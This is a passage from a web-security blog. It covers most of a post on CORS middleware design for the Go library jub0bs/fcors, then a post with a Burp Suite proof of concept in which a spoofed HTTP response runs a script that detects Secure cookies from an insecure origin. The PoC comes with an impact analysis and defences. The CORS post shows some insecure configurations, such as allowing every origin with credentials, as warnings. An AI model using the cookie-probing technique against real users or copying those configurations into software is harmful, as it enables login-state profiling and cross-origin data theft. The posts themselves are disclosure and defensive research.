Besides, jub0bs/fcors embraces Yaron Minsky’s principle of making illegal states unrepresentable: far from insecurely bypassing the wildcard exception, jub0bs/fcors leverages Go’s type system in order to prevent (at compile time!) server developers from allowing credentialed access from all origins.

7. Provide no default configuration ¶

Most CORS middleware libraries provide some default configuration. For instance, rs/cors exports the following function, which returns a “default” CORS middleware:

// Default creates a new Cors handler with default options.
func Default() *Cors

As a prospective user of this function, you may find its documentation cryptic and ask yourself the following questions:

What exactly are those “default options”?
What behaviour does the resulting CORS middleware exhibit?
Is the resulting CORS middleware suited for my needs?

To find definite answers, you’d have no other choice but to dig into the library’s source code.

Lacking documentation is one thing, but I want to draw your attention to a deeper issue. On the one hand, and contrary to popular belief, activating CORS never strengthens security but always weakens security (to varying degrees).

Some widespread CORS configurations may strike you as innocuous. For instance, you may perceive a blanket Access-Control-Allow-Origin: * policy as a harmless default, but even such an innocent-looking CORS policy can prove insecure in some contexts. On the other hand, configuration in general should be secure by default.

From this apparent conflict, I see but one escape: the only sane default consists in not enabling CORS at all. Thefore, my stance is that a well-factored CORS middleware library should not provide any default configuration. Instead, it should, at the cost of some verbosity, force users to be deliberate about their CORS configuration.

Accordingly, jub0bs/fcors provides no default configuration. For instance, developers who wish to allow anonymous access from any origin must be deliberate and explicit about it in their CORS configuration:

cors, err := fcors.AllowAccess(
  fcors.FromAnyOrigin(),
)

8. Do not preclude legitimate configurations ¶

Some CORS middleware libraries are rife with false affordances, i.e. things that seem feasible but are actually not. Below are two examples of false affordances that preclude legitimate CORS configurations; I’ve also included, as a digression, a third false affordance that does not stand in the way of legitimate CORS configurations but may nonetheless breed confusion.

Impossibility to turn preflight caching off ¶

To reduce traffic, browsers feature an internal cache dedicated to preflight responses. Developers can tune the expiration time of an individual preflight response in the preflight cache by including an Access-Control-Max-Age header in that response and specifying the desired max age (in seconds) as a nonnegative integer:

Access-Control-Max-Age: 30

Omitting the Access-Control-Max-Age header altogether causes browsers to cache the preflight response in question for a default duration of five seconds, whereas specifying a max-age value of 0 instruct browsers not to cache the preflight response at all:

Access-Control-Max-Age: 0

Unfortunately, rs/cors, among other libraries, ignores this distinction and, therefore, altogether prevents its users from disabling preflight caching, should they wish to do so.

jub0bs/fcors doesn’t suffer from this limitation:

cors, err := fcors.AllowAccess(
  fcors.FromAnyOrigin(),
  fcors.WithRequestHeaders("Authorization"),
  fcors.WithMaxAgeInSeconds(0), // disables preflight caching
)

Violation of the case sensitivity of method names ¶

Several CORS middleware libraries normalise HTTP-method names to uppercase. Those libraries, either inadvertently or deliberately, neglect the fact that, according to the Fetch standard, method names are case-sensitive; this illustrative instance of Jake Archibald’s CORS playground should be enough to convince you.

Such unwarranted case normalisation causes problems for clients that send requests whose method is not uppercase—and not some case-insensitive match for one of DELETE, GET, HEAD, OPTIONS, POST, or PUT, names for which the Fetch standard carves out an exception. Here is an example featuring rs/cors:

c := cors.New(cors.Options{
  AllowedOrigins: []string{"https://example.com"},
  AllowedMethods: []string{"patch"},
})

Assume then that a client running in the context of Web origin https://example.com in a Fetch-compliant browser sends a patch request (note the lower case) to the server. As rs/cors internally normalises method names to uppercase, the preflight response would contain

Access-Control-Allow-Methods: PATCH

as opposed to

Access-Control-Allow-Methods: patch

Because method names are case-sensitive, browsers rule this as a mismatch and fail CORS preflight with an error message of this kind:

Access to fetch at [REDACTED] from origin ‘https://example.com’ has been blocked by CORS policy: Method patch is not allowed by Access-Control-Allow-Methods in preflight response.

Very confusing! By contrast, jub0bs/fcors respects the case sensitivity of HTTP methods and therefore never gives rise to this kind of problem.

Reliance on an inadequate duration type to represent the max age ¶

Some CORS libraries let their users specify a max-age value via a duration type that supports sub-second precision; in particular,

Unfortunately, such libraries mislead their users into thinking that max-age values representing a fractional number of seconds (e.g. 3.5s) will be honoured; per the Fetch standard, max age must indeed be specified (if at all) as a whole number of seconds. In practice, those CORS libraries silently truncate user-specified max-age values to the nearest second, and such a silent truncation may surprise users not very familiar with the CORS protocol.

To avoid any such confusion, jub0bs/fcors represents max age, not as a time.Duration, but as one of Go’s built-in unsigned integer types.

9. Ease troubleshooting by eschewing shortcuts during preflight ¶

CORS is configured on the server side, but applied by the browser on the client side. Because the CORS procotol involves two actors (three if you count the browser), figuring out how to fix a specific CORS issue remains challenging. Despite recent and commendable efforts by the Chromium team in that area (see Jecelyn Yeen’s DevTools State of the Union 2022), troubleshooting CORS issues can still slow down Web development to a snail’s pace.

In practice, a misconfigured CORS configuration manifests itself as an error in the browser’s Console tab, much to the chagrin of developers who often perceive those error messages as puzzling and unhelpful.

In my opinion, however, this bad reputation is undeserved: most browsers, such as Firefox, indeed do boast a rich variety of informative CORS error messages. Unfortunately, most CORS middleware libraries are implemented in such a way that they give rise to only a small subset of those error messages in the browser, thereby masking the root cause of many CORS issues. For instance, a CORS error message that developers typically have to face is the following:

Access to fetch at [REDACTED] from origin [REDACTED] has been blocked by CORS policy: Response to preflight request doesn’t pass access control check: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.

This error message is so common that the last sentence is contained verbatim in roughly 20% of the questions tagged with “cors” on Stack Overflow. In many cases, though, the issue stems, not from the origin of the request, but from a request header that happens to be disallowed by the server’s CORS policy. The difficulty in troubleshooting this kind of issues is compounded by client libraries like Axios which, in some cases, silently include headers, such as Content-Type, to requests.

To be absolutely fair, I must concede that the blame for this sad state of affairs likely rests, not with CORS middleware libraries themselves, but with the original CORS specification (since obsoleted by the Fetch standard), namely the W3C Cross-Origin Resource Sharing working draft. The version dated 17 March 2009 (☘️) of that working draft saw the addition of a section entitled Server Processing Model, which, among other things, prescribes how servers should handle preflight requests. Among those normative requirements, here is the passage (only slightly redacted) that is most relevant to the present discussion:

If [the value of the Access-Control-Request-Method header] is not a case-sensitive match for any of [the allowed methods], do not set any additional headers and terminate this set of steps. […]

If any of the [header names listed in the Access-Control-Request-Headers header] is not a ASCII case-insensitive match for any of the [allowed headers], do not set any additional headers and terminate this set of steps. […]

If the URL supports credentials, add a single Access-Control-Allow-Origin header, with the value of the Origin header as value, and add a single Access-Control-Allow-Credentials header with the case-sensitive string “true” as value. Otherwise, add a single Access-Control-Allow-Origin header, with either the value of the Origin header or the string “*” as value.

In essence, the W3C working draft prescribes servers take shortcuts during preflight: servers ought to omit all CORS headers (Access-Control-Allow-Origin too!) from the response if preflight fails. This leaves very little contextual information to the browser, which can only complain about the absence of the Access-Control-Allow-Origin header—because that header happens to be the first CORS header to get processed during a CORS check.

Here is an example. Assume that Sarah configures CORS on her server (https://sarah.com) to allow Carol’s client (https://carol.com) with a request header named Foo. In her request to Sarah’s server, Carol happens to include a header named Bar, which Sarah’s CORS policy does not allow:

const headers = {
  'Foo': 'whatever',
  'Bar': 'yolo',
};
fetch('//sarah.com', {headers: headers})
  .then(res => res.text())
  .then(console.log);

Sarah’s CORS middleware then sees, listed in the Access-Control-Request-Headers header of the resulting preflight request, a header name (bar) that it doesn’t allow:

OPTIONS / HTTP/1.1
Host: sarah.com
Origin: https://carol.com
Access-Control-Request-Method: GET
Access-Control-Request-Headers: bar,foo
-snip-

And because Sarah’s CORS middleware follows the W3C’s normative requirements for servers, it replies with a 403 status and omits all CORS headers from the preflight response!

HTTP/1.1 403 Forbidden
-snip-

Even though Sarah does allow the Web origin of Carol’s client in her CORS policy, when preflight fails, the browser presents Carol with an infuriatingly confusing CORS error message:

Access to fetch at ‘https://sarah.com’ from origin ‘https://carol.com’ has been blocked by CORS policy: Response to preflight request doesn’t pass access control check: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.

This misleading message hides the root cause of the problem: Carol’s use of a request-header name (Bar) that Sarah’s CORS policy happens to disallow.

The W3C’s normative requirements for servers endured through subsequent versions of the working draft more or less unchanged; and, because initial development of many CORS middleware libraries was contemporaneous with the W3C working draft’s heyday, most of those libraries—to the notable exception of Express.js’s—diligently complied and never looked back.

In my view, those problematic normative requirements for servers are the main reason why so many server developers have been and still are routinely led astray by CORS error messages.

In this context, taking such shortcuts and failing fast is actually detrimental, because it often robs developers of a good explanation as to what caused their CORS issues.

In my earlier example, if Sarah’s middleware instead responded to Carol’s preflight request with

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://carol.com
Access-Control-Allow-Headers: foo

then the browser would still fail preflight but would present Carol with a much more actionable CORS error message:

Access to fetch at ‘https://sarah.com’ from origin ‘https://carol.com’ has been blocked by CORS policy: Request header field bar is not allowed by Access-Control-Allow-Headers in preflight response.

Carol would then immediately realise that she needs to either drop the Bar header from her request, or kindly ask Sarah to also allow that request header in her CORS policy.

Rather than freeing themselves from the W3C’s injunctions and getting rid of shortcuts during preflight, some libraries, such as rs/cors, elected to add support for logging in a bid to ease troubleshooting. However, I find such a decision less defensible in light of the changes brought by the Fetch standard. By comparison with the W3C working draft, the Fetch standard is indeed far less prescriptive about how servers ought to handle preflight requests:

Ultimately server developers have a lot of freedom in how they handle HTTP responses and these tactics can differ between the response to the CORS-preflight request and the CORS request that follows it […]

Interestingy, getting rid of such shortcuts was once suggested for but never implemented in rs/cors. A missed opportunity, if you ask me.

Sometimes you feel like throwing your hands up in the air, but jub0bs/fcors has got the love you need to see you through! Because my library closely follows the CORS-preflight algorithm and eschews undue shortcuts, you should find CORS issues much easier to troubleshoot with it than with other libraries.

10. Render insecure configurations impossible ¶

Earlier in this post, I stressed that CORS libraries should not produce dysfunctional middleware in the event of a misconfiguration. There’s a flip side to this. One of Joshua Bloch’s design principles that has stayed with me ever since I encountered it is the following:

A good library is one that is not only easy to use but hard to misuse.

The second part of this maxim is especially relevant when the library in question is concerned with such security-critical mechanisms as CORS.

I hope you will forgive this somewhat infantilising metaphor: a seat belt should arguably be designed in such a way that no unattended toddler can unbuckle it; similarly, a good CORS library should prevent developers from producing dangerously permissive CORS middleware.

Unfortunately, too many CORS middleware libraries fail to effectively protect developers from themselves because they insufficiently rein in their power.

I’ve already touched upon this topic earlier in this post (see Provide support for Private Network Access and Treat CORS as a compilation target), but here are more ways in which CORS middleware libraries should prevent their users from shooting themselves in the foot.

Do not support the `null` origin ¶

Security researcher James Kettle warns us (and rightly so!) that allowing the null origin in one’s CORS configuration is rarely (if ever) a good idea; the only justifiable use case I can think of is a deliberately vulnerable resource in the context of a Web-security lab about CORS misconfiguration. Yet CORS libraries, by and large, are quite content to tolerate the null origin.

By contrast, jub0bs/fcors completely forbids the null origin; attempts to allow it result in a run-time error:

cors, err := fcors.AllowAccess(
  fcors.FromOrigins("null"), // ❌
)

Disallow insecure origins by default ¶

Another, perhaps more subtle, CORS misconfiguration consists in allowing insecure origins, e.g. origins whose scheme is http as opposed to https, such as http://example.com. As demonstrated by James Kettle, doing so enables an active network attacker to steal potentially sensitive data from his/her victim, even if the latter only ever willingly interacts with the vulnerable resource over a secure connection (i.e. using HTTPS). Unfortunately, none of the CORS libraries I’ve reviewed guard their users against this pitfall. Even if you’re aware of it, you are a mere one-character typo away from misconfiguring your CORS middleware, and no such tiny typo should be this consequential.

Again, jub0bs/fcors has your back and disallows most http origins by default; it does carve out an exception for origins whose host is localhost or a loopback IP address, though, because such origins are typically harmless and so commonly used in pre-prod environments. By default, attempts to allow one or more insecure origins result in a run-time error:

cors, err := fcors.AllowAccess(
  fcors.FromOrigins("http://example.com"), // ❌
)

If you need to deliberately allow one or more insecure origins, jub0bs/fcors lets you do so under the condition that you also activate an advanced option provided by its companion package, aptly named “risky”:

cors, err := fcors.AllowAccess(
  fcors.FromOrigins("http://example.com"), // ✅
  risky.TolerateInsecureOrigins(),
)

Disallow dangerous origin patterns ¶

It is common among CORS libraries, such as Express.js’s, to support regular expressions as a means to allow a set of origins, e.g. all subdomains of some base domain:

/^https:\/\/.*\.example\.com$/

This feature affords a great deal of flexibility… perhaps too much. Security misconfigurations due to flawed regexps are indeed so common that it puts the judiciousness of such a feature into question. Even seasoned regexp wranglers can sometimes be faulted, e.g. when they forget to escape periods standing for label separators or to anchor their regexp at both ends:

/^https:\/\/.*.example.com$/
/^https:\/\/.*\.example\.com/

Besides, some regular-expression engines—though thankfully not Go’s—are prone to catastrophic backtracking, which, if exploited by an attacker on a vulnerable server, can cause a denial of service. Therefore, I don’t think CORS libraries should support regexps. Rob Pike likely would agree:

Regular expressions are, in my experience, widely misunderstood and abused.

Some CORS middleware libraries, like rs/cors, deserve praise for refusing to support regexps and supporting only a limited variety of pattern types, but most of them still stop short of guarding their users against excessively permissive patterns. For instance, rs/cors tolerates https://* as an origin pattern, which is insecure because it matches any https origin, including, say, https://attacker.com!

jub0bs/fcors is adamant in restricting the types of origin patterns it supports. Some examples follow:

https://*.example.com, in which the asterisk marks exactly one DNS label;
https://**.example.com, in which the sequence composed of two asterisks marks one or more DNS labels;
https://example.com:*, in which the asterisk marks an arbitrary (possibly implicit) port number.

jub0bs/fcors supports no other types of origin patterns. In particular, all of the following patterns are illegal and cause middleware instantiation to fail: https://*, https://example.*, https://*.example.com:*.

jub0bs/fcors even goes the extra mile for your safety: by default, it prevents developers from inadvertently allowing arbitrary subdomains of a public suffix (e.g. com), because such domains (e.g. random-attacker-666.com) are by definition registrable by anyone, including malicious actors. By default, attempts to allow arbitrary subdomains of a public suffix result in a run-time error:

cors, err := fcors.AllowAccess(
  fcors.FromOrigins("https://*.com"), // ❌
)

Again, if you need to deliberately allow arbitrary subdomains of one or more public suffixes, you’ll need to explicitly open another escape hatch provided by the risky package:

cors, err := fcors.AllowAccess(
  fcors.FromOrigins("https://*.com"), // ✅
  risky.SkipPublicSuffixCheck(),
)

Do not support custom callbacks ¶

I’ve kept the most dangerous misfeature of them all for last: custom callbacks. They come in numerous CORS libraries under different names and shapes:

Express.js’s CORS configuration object accepts a callback (or even a boolean!) for its origin property;
rs/cors’s configuration struct exports a function field named AllowOriginFunc of signature func(string) bool;
Echo’s CORS middleware’s configuration struct exports a function field also named AllowOriginFunc but of signature func(string) (bool, error);
ASP.NET Core provides a method named SetIsOriginAllowed that takes a parameter of type Func;
the now unmaintained gorilla/handlers project similarly provides an option named AllowedOriginValidator, etc.

By letting their users specify custom callbacks, those CORS middleware libraries give their users near total flexibility for specifying how CORS requests should be accepted or rejected, e.g. by querying some database for the list of allowed origins, as suggested by the documentation of Express.js’s CORS middleware:

var corsOptions = {
  origin: function (origin, callback) {
    // db.loadOrigins is an example call to load
    // a list of origins from a backing database
    db.loadOrigins(function (error, origins) {
      callback(error, origins)
    })
  }
}

This “DIY” approach to CORS often leads to frightful results, precisely because such hooks can so easily be abused by developers. For example, I’ve witnessed many developers specify a predicate that unconditionally returns true while also allowing credentialed requests, thereby unwittingly opening the door to authenticated cross-origin attacks from any Web origin; here is an example using rs/cors:

c := cors.New(cors.Options{
  AllowOriginFunc: func (origin string) bool { return true }, // 😱
  AllowCredentials: true,
})

There’s an even more pernicious form of custom callbacks, present in both rs/cors and Chi (yet another router for Go), which grants the predicate access to the request object:

func(*http.Request, string) bool

Motivations for this feature include the desire to vary responses on the basis of the presence and/or value of some request headers, such as Cookie, Authorization, or some non-standard HTTP header. Do you see anything amiss? The answer is quite subtle…

Perhaps the most glaring issue with that predicate’s signature is that, since the request’s origin is accessible via the *http.Request parameter anyway, the string parameter is redundant; another manifestation of accidental complexity right there.

However, one much more severe issue with such a predicate is that it’s almost guaranteed to lead to cache poisoning! If you vary responses on the basis of the presence and/or value of some request header, HTTP indeed mandates that you list the name of that header in your responses’ Vary header; doing this signals to caching intermediaries that the header in question should be part of the cache key. But because the predicate lacks a http.ResponseWriter parameter, it gives you no way of populating the Vary header as required! You have to remember to manually do so outside of the predicate, somehow. If you forget, as I believe most developers do, to adequately populate the Vary header, caching intermediaries are then liable to serve inappropriate (and possibly malicious) cached responses to your clients.

The examples above may be sufficient to convince you that CORS middleware libraries are better off staying away from those custom-callback features. In my experience, most use cases for CORS don’t require this level of customisation anyway.

By contrast, jub0bs/fcors curtails developers’ power (for their own good) and eschews all forms of custom callbacks. Moreover, as discussed earlier in this post, its FromAnyOrigin option is rendered incompatible (at compile time!) with credentialed access.

11. Guarantee configuration immutability ¶

Edit (2024/05/15): I have since softened my stance a bit on this one.

Some CORS middleware libraries support dynamic updates to CORS configuration, thereby obviating the need for a server redeployment. Here is a proof of concept featuring Express.js:

const express = require('express')
const cors = require('cors')
const app = express()
const port = 3000

const corsOptions = {
  origin: 'http://example.com',
}
app.use(cors(corsOptions));

app.get('/', (req, res) => {
  res.send('Hello World!')
})

app.post('/change-allowed-origin', function (req, res, next) {
  corsOptions.origin = 'http://example.org';
  res.send('Done!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Once that server has been started, sending a single POST request to /change-allowed-origin will indeed cause an update of the server’s CORS configuration: the allowed origin, which beforehand was https://example.com will become https://example.org.

$ curl -sD - -o /dev/null \
  -H "Origin: https://example.org" \
  localhost:3000

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: http://example.com
Vary: Origin
-snip-

$ curl -XPOST localhost:3000/change-allowed-origin
Done!

$ curl -sD - -o /dev/null \
  -H "Origin: https://example.org" \
  localhost:3000

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: http://example.org
Vary: Origin
-snip-

Whether this affordance is intentional or incidental (and due to a lack of defensive copying) is unclear to me. Though expedient and sometimes desirable, this affordance is arguably more harmful than good: it opens the door to race conditions if the server processes requests (and invokes middleware) in a concurrent fashion, as many servers do.

Insofar as CORS relaxes some of the restrictions enforced by the SOP, it is a security-critical mechanism. Accordingly, a server’s CORS configuration should be subject to change control: more specifically, I argue that any update to CORS configuration warrants careful vetting and should be followed by a server restart. Custom callbacks and insufficient defensive copying stand in the way of this principle. Besides, if developers perceive server startup as prohibitively slow, they should, in my opinion, focus their efforts on reducing startup time rather than on avoiding the need to restart the server.

A middleware built with jub0bs/fcors is effectively immutable, and any amendment to the corresponding CORS policy requires a server restart. Although this constraint does not guarantee that CORS-policy changes will get reviewed, I believe that it at least nudges developers to adopt such a practice.

12. Focus performance optimisation on middleware execution ¶

As discussed earlier in this post, jub0bs/fcors performs more validation at startup than most other CORS libraries do; moreover, it relies heavily on the functional-options pattern at startup, which is less performant than simply exposing a configuration struct type to developers. Therefore, building a CORS middleware with jub0bs/fcors is comparatively slower and more memory-hungry, though not prohibitively so (only by a factor of about 20), than building an equivalent middleware with rs/cors:

goos: darwin
goarch: amd64
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz

rs_cors______startup  2016933    590 ns/op   371 B/op   8 allocs/op
jub0bs_fcors_startup    85252  12130 ns/op  6664 B/op  76 allocs/op

In my opinion, that’s tolerable. For HTTP middleware, performance at initialisation indeed matters less than performance at execution: incurring a modest performance penalty when initialising a middleware is acceptable if invocations of that middleware require relatively few CPU cycles and cause inconsequential amounts of heap allocations.

jub0bs/fcors makes such a tradeoff: it frontloads as much of the necessary work as possible at middleware initialisation in order to spare the hot path, i.e. middleware execution. That initial investment, both in time and memory, is typically recouped after only a modest number of middleware invocations. And if your use case is such that server startup shall not suffer even a few microseconds’ delay, you can always riff on Mat Ryer’s tricks for lazy middleware initialisation.

You may be tempted to relegate execution time of a middleware to secondary importance, because network I/O is likely to be the dominating factor in performance. However, this is only true if middleware invocations remain inexpensive; and many CORS middleware libraries, in part because they give developers too much freedom, simply cannot provide such guarantee.

As often in software design, constraints liberate. By restricting the kind of origin patterns that developers can specify in their CORS configuration, jub0bs/fcors is free to rely on a custom tree-like data structure designed for fast origin lookup. And by denying developers a means to specify their CORS policy as a custom callback, jub0bs/fcors prevents them from inadvertently carrying out expensive computations (such as compiling a regexp) or I/O-intensive tasks (such as querying a database) during execution of their CORS middleware.

The consequence of those deliberate constraints is that invocations of a middleware built by jub0bs/fcors are fast and only incur few heap allocations.

Edit (2023/08/02): Below are some results—only slightly redacted—of microbenchmarks comparing two functionally equivalent CORS middleware, one built with rs/cors and the other with jub0bs/fcors:

goos: darwin
goarch: amd64
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz

without_CORS          205514234     6 ns/op    0 B/op   0 allocs/op

# rs/cors
sgl__vs_actual          3194002   375 ns/op   48 B/op   3 allocs/op
mult_vs_actual          3152779   382 ns/op   48 B/op   3 allocs/op
any__vs_actual          3499288   342 ns/op   48 B/op   3 allocs/op
sgl__vs_preflight       1223632   983 ns/op  160 B/op   6 allocs/op
mult_vs_preflight       1214544   986 ns/op  160 B/op   6 allocs/op
any__vs_preflight       1264927   951 ns/op  160 B/op   6 allocs/op
any__vs_preflight_hdr    907146  1302 ns/op  208 B/op  10 allocs/op

# jub0bs/fcors
sgl__vs_actual         21439983    53 ns/op    0 B/op   0 allocs/op
mult_vs_actual          6499868   184 ns/op    0 B/op   0 allocs/op
any__vs_actual          1453963    53 ns/op    0 B/op   0 allocs/op
sgl__vs_preflight       7923229   152 ns/op    0 B/op   0 allocs/op
mult_vs_preflight       4998284   222 ns/op    0 B/op   0 allocs/op
any__vs_preflight       8044881   149 ns/op    0 B/op   0 allocs/op
any__vs_preflight_hdr   7042791   171 ns/op    0 B/op   0 allocs/op

As you can see, jub0bs/fcors is nimble and purrs quietly.

Conclusion ¶

Thank you for your attention and your patience through this long and winding post! At this stage, I hope that at least some of my arguments for Fearless CORS have swayed you.

If you’re a Gopher in need of a dependable CORS middleware library, you are welcome to take jub0bs/fcors for a spin. I’ll wait (an indefinite amount of time) for feedback before releasing version 1.0.0 but, as far as I’m concerned, the library is feature-complete and production-ready. Please let me know on Bluesky or Mastodon if it makes your life easier!

Although I’ve endeavoured to avoid past design mistakes of others, I’ve likely made brand new ones myself. If you disagree with Fearless CORS, or perceive shortcomings (bugs, missing features, misfeatures, etc.) in jub0bs/fcors, please open an issue on GitHub

Finally, if your language of choice isn’t Go and lacks a good CORS library, feel free to draw inspiration from Fearless CORS to implement a better CORS library for that language; and do let me know how it goes!

Acknowledgements ¶

I’m indebted to both Michael Smith (a.k.a. sideshowbarker on Stack Overflow and elsewhere) and Mat Ryer for generously taking the time to read an early draft of this particularly lengthy post and giving me valuable tips on how to improve it.

I’m also grateful to Anne Van Kesteren and Jake Archibald for clarifying aspects of the CORS protocol that initially tripped me up, and to Titouan Rigoudy for elucidating some of the finer points of Private Network Access.

Finally, although I’ve never interacted with them directly, Joshua Bloch and John Ousterhout, through their books and talks, had a profound impact on Fearless CORS.

Existence oracle for Secure cookies on insecure Web origins

Mon, 12 Sep 2022 07:30:00 +0000

TL;DR ¶

In this post, I present an XSLeak technique that allows an active network attacker to observe, from an insecure Web origin, the presence or absence of some Secure cookie that may have been set by the origin’s secure counterpart.

Cookies’ crumbly beginnings ¶

Netscape (Lou Montulli, more precisely) invented cookies in 1994 in order to introduce persistent client state in the otherwise stateless Hypertext Transfer Protocol (HTTP). Back in the day, the Web was much more static than it is today. But with the advent of scripting capabilities in browsers shortly afterwards, new rules, which became collectively known as the Same-Origin Policy (SOP), had to be built into browsers in order to protect Web origins from one another.

Fabian Fäßler (a.k.a. LiveOverflow) recently released a video retrospective about the SOP, which is well worth a watch.

However, because cookies predated the SOP and were already in common use, they never played by the SOP’s rules. More specifically, cookies are not (yet?) origin-bound: a cookie jar keys cookies by their (name, domain, path) triple, but a Web origin is a (scheme, host, port) triple. The IETF HTTP Working Group has since been hard at work to incrementally improve cookies’ security model and bridge the gap to the SOP, careful to minimise breakage of existing Web applications in the process.

Strict Secure Cookies ¶

One such incremental change, nicknamed “Strict Secure Cookies” by the Chromium team, addressed some issues related to the integrity of cookies marked Secure. The Secure cookie attribute, from its inception, prevented insecure Web origins (e.g. origins whose scheme is http) from accessing cookies that were set with that attribute. However, there was a time when insecure origins could still create, delete, or indirectly evict Secure cookies; and the browser would send cookies created by an insecure context to secure origins, which had no way of determining whether those cookies where created in a secure or an insecure context. Therefore, attacks like session fixation from an active network attacker remained a concern.

The Strict Secure Cookies proposal (Mike West, 2015) remedied the situation by forbidding insecure origins to

create cookies marked Secure, and
overlaying (i.e. masking or shadowing) an existing Secure cookie with a non-Secure cookie.

The second restriction, which I’ll call the overlaying restriction, is pivotal in the XSLeak technique discussed in the rest of this post. Because its mechanics are a bit technical, I’m including the relevant step of the storage algorithm from RFC 6265 bis (version 01) here for completeness:

If the cookie’s secure-only-flag is not set, and the scheme component of request-uri does not denote a “secure” protocol, then abort these steps and ignore the cookie entirely if the cookie store contains one or more cookies that meet all of the following criteria:

Their name matches the name of the newly-created cookie.

Their secure-only-flag is true.

Their domain domain-matches the domain of the newly-created cookie, or vice-versa.

The path of the newly-created cookie path-matches the path of the existing cookie.

Nowadays, this behaviour is supported in all modern browsers; and this change was undoubtedly welcome, because it solved some of cookies’ integrity issues. However, while perusing the whole series of cookie-related RFCs, I realised that Strict Secure Cookies’ overlaying restriction sacrificed some confidentiality for integrity.

Existence oracle for a `Secure` cookie ¶

Consider a cookie

named foo
whose domain field is example.com,
whose path field is /,
marked Secure.

The overlaying restriction indeed allows insecure origin http://example.com to determine whether such a cookie exists in the browser’s cookie jar. How? The insecure origin can attempt to set such a cookie (albeit without a Secure attribute) and then immediately test whether it’s present in the cookie string returned by document.cookie.

Therefore, an active network attacker, despite being unable to decrypt his victim’s traffic, may be able to observe the existence of a Secure cookie in his victim’s browser.

When I asked Mike West himself about this on the blue site that shall not be named, he confirmed that the overlaying restriction poses a confidentiality problem but hinted that we shouldn’t expect a proper fix any time soon:

It’s certainly true that there’s an information leak here. Ideally, we’ll fix it by splitting the world into secure and non-secure origins, possibly through something like https://github.com/sbingler/Origin-Bound-Cookies or https://github.com/mikewest/scheming-cookies.

Under the condition that the target website be vulnerable to cross-site scripting, a similar technique can actually be used to detect the existence of a HttpOnly cookie, because browsers ignore attempts to update a HttpOnly cookie via a “non-HTTP” API (e.g. document.cookie). For more details, refer to step 22 in section 5.5 of RFC 6265 bis (version 10).

Proof of concept ¶

A proof of concept is worth a thousand words. For this example, I’ll use the actual https://example.com website and a cookie named “foo”. In order to simulate an active network attacker, I’ll use Burp Suite Community’s intercepting Web proxy.

Start Burp and the associated proxied browser.
On Burp’s Proxy tab, make sure the intercept functionality is turned off.
Visit secure origin https://example.com.
Optional: Open your browser’s Console and run the following JavaScript code:
```
document.cookie='foo=; Secure';
```
There should now be a cookie whose triple is (foo, example.com, /) and that is marked Secure in your browser.
On Burp’s Proxy tab, turn the intercept functionality on.
Visit insecure origin http://example.com.
On Burp’s Proxy tab, right-click on the request resulting from step 6 and select Do intercept » Response to this request.
Forward the request unaltered.

As the active network attacker, replace the entire response to that request by the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: foo=
Connection: close
Content-Length: 156

<script>
  const found = /(^|; )foo=/.test(document.cookie);
  if (found) {
    document.cookie="foo=; Max-Age=-1";
  }
  alert(!found);
script>

Forward the response spoofed at step 9.

An alert modal will pop up and indicate the truth of the following statement:

A Secure cookie named foo exist in the victim’s browser.

If you created a Secure cookie named “foo” at the optional fourth step, the creation of a non-Secure cookie named “foo” (see line 3) fails, thanks to the overlaying restriction. Therefore, no cookie named “foo” can be found in the cookie string produced for the insecure origin, and the alert modal shows “true”.

Now clear the Secure cookie named “foo” and repeat all those steps (bar step 4). This time, unencombered by a Secure counterpart, a non-Secure cookie named “foo” can be created. Therefore, it is present in the cookie string produced for the insecure origin, is immediately expired (see line 10) for maximum stealth, and the alert modal shows “false”.

Edit: Actually, as @Haxatron reminded me on the blue site that shall not me named, Strict Secure Cookies didn’t actually solve all of Secure cookies’ integrity problems; more specifically, the overlaying restriction doesn’t prevent an insecure origin from beating its secure counterpart in the race to create a specific cookie (albeit without a Secure attribute), as this PoC demonstrates. Cookie name prefixes do help address this concern, though; for more on this topic, see this Security Stack Exchange Q&A.

Impact ¶

Active network attackers (such as shady coffee-shop owners or even ethically challenged ISPs) may be able to weaponise this technique for login oracles. By targeting websites that rely on a Secure cookie for identifying sessions, attackers may indeed be able to determine whether their victims are logged in to that website.

The victims may only ever willingly interact with the target over HTTPS; attackers would only need to spoof the response to their victims’ first request to any insecure origin and redirect them to the target insecure origin before spoofing the response (as described in step 7 of my PoC) to the resulting request.

In the grand scheme—no pun intended—of things, this technique could be abused by nefarious actors in order to profile people on the basis of which websites (news outlets, dating sites, etc.) they are logged in to.

Defences ¶

The best defence against this privacy attack (and many more!) is to set up HTTP Strict Transport Security (HSTS) on your website and, while you’re at it, submit your domain name for HSTS preload. HSTS, if preloaded, effectively prevents browser access to resources on your domain over an insecure channel. However, in case you need (for some questionable reason) to maintain browser access to insecure origins on that domain, HSTS is clearly not an option for you.

An alternative, more granular defence consists in changing the name(s) of the cookie(s) that you want to protect and use some cookie name prefix. That would do the trick because browsers do not allow insecure origins to set prefixed cookies. The __Secure- cookie name prefix would be enough but, you may also opt for the confusingly named yet more secure __Host- cookie name prefix, if you don’t find it too restrictive. However, if the cookie in question is used for authentication, bear in mind that changing its name will effectively log all your users out.

Conclusion ¶

A trope of information security is the CIA (Confidentiality, Integrity, Availability) triad. Striking a balance between the three aspects is a difficult exercise, as none of the them can typically be changed without detrimental effects on the other two. Strict Secure Cookies is no exception: it traded some confidentiality for integrity. Until a distant future where cookies have truly become origin-bound, the Web will likely remain haunted by cookies’ infelicities.

Acknowledgments ¶

Thanks to Ankur Sundara, who kindly agreed to review a draft of this post before publication.

Scraping the bottom of the CORS barrel (part 1)

Thu, 04 Aug 2022 20:05:00 +0000

James Kettle’s 2016 research was instrumental in raising awareness of the deleterious effects of CORS (Cross-Origin Resource Sharing) misconfiguration on Web security. Does the story end there, though? Is writing about CORS-related security issues in 2022 futile? I don’t think so.

This post is the first in a series in which I will discuss more minor CORS-related issues and present lesser-known detection techniques. My primary audience is people on the offensive side, but folks on the defensive side may also find this series interesting.

